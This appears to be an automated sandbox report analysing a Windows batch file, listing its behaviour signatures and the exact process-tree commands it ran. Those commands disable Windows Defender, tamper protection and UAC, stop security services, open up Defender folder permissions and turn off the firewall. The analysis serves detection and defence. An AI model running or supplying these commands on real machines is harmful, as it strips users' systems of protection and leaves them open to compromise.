Analysis

  • max time kernel
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/07/2026, 14:24

General

  • Target
    deepseek_batch_20260723_c2fba3.bat
  • Size 2KB
  • Sample260723-rqvplaek21
  • SHA256 a3f7791a226479f21bef6dd5863e8ec7e05cf34b8e63cbc70a012c4dbfd24078
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • Modifies firewall policy service 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Disables service(s) 3 TTPs
  • Modifies file permissions 1 TTPs 2 IoCs
  • Stops running service(s) 4 TTPs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260723_c2fba3.bat"
    1⤵
    • Drops file in Program Files directory
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Windows\system32\PING.EXE
      ping -n 8 127.0.0.1
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:1820
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3432
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2780
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$a=[DllImport('kernel32.dll')]::GetConsoleWindow();[DllImport('user32.dll')]::ShowWindow($a,0)"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6056
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        PID:1500
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        PID:5164
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
        2⤵
          PID:5932
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          2⤵
          • Launches sc.exe
          PID:4616
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          2⤵
          • Launches sc.exe
          PID:3000
        • C:\Windows\system32\sc.exe
          sc stop SecurityHealthService
          2⤵
          • Launches sc.exe
          PID:5856
        • C:\Windows\system32\sc.exe
          sc config SecurityHealthService start= disabled
          2⤵
          • Launches sc.exe
          PID:3360
        • C:\Windows\system32\takeown.exe
          takeown /f "C:\ProgramData\Microsoft\Windows Defender\*" /r /d y
          2⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:936
        • C:\Windows\system32\icacls.exe
          icacls "C:\ProgramData\Microsoft\Windows Defender\*" /grant Everyone:F /t
          2⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3452
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
          2⤵
          • UAC bypass
          PID:1880
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
          2⤵
          • UAC bypass
          PID:1176
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
          2⤵
          • UAC bypass
          PID:5804
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set allprofiles state off
          2⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:292
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
          2⤵
          • Modifies firewall policy service
          PID:5684

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            memory/6056-0-0x00007FF805F9F000-0x00007FF805FA0000-memory.dmp

            memory/6056-1-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

            memory/6056-2-0x00000166BDD20000-0x00000166BDD42000-memory.dmp

            memory/6056-5-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

            memory/6056-6-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

            memory/6056-7-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

            memory/6056-8-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

            memory/6056-9-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

            memory/6056-10-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

            memory/6056-11-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp

            memory/6056-13-0x00007FF805E10000-0x00007FF8067B4000-memory.dmp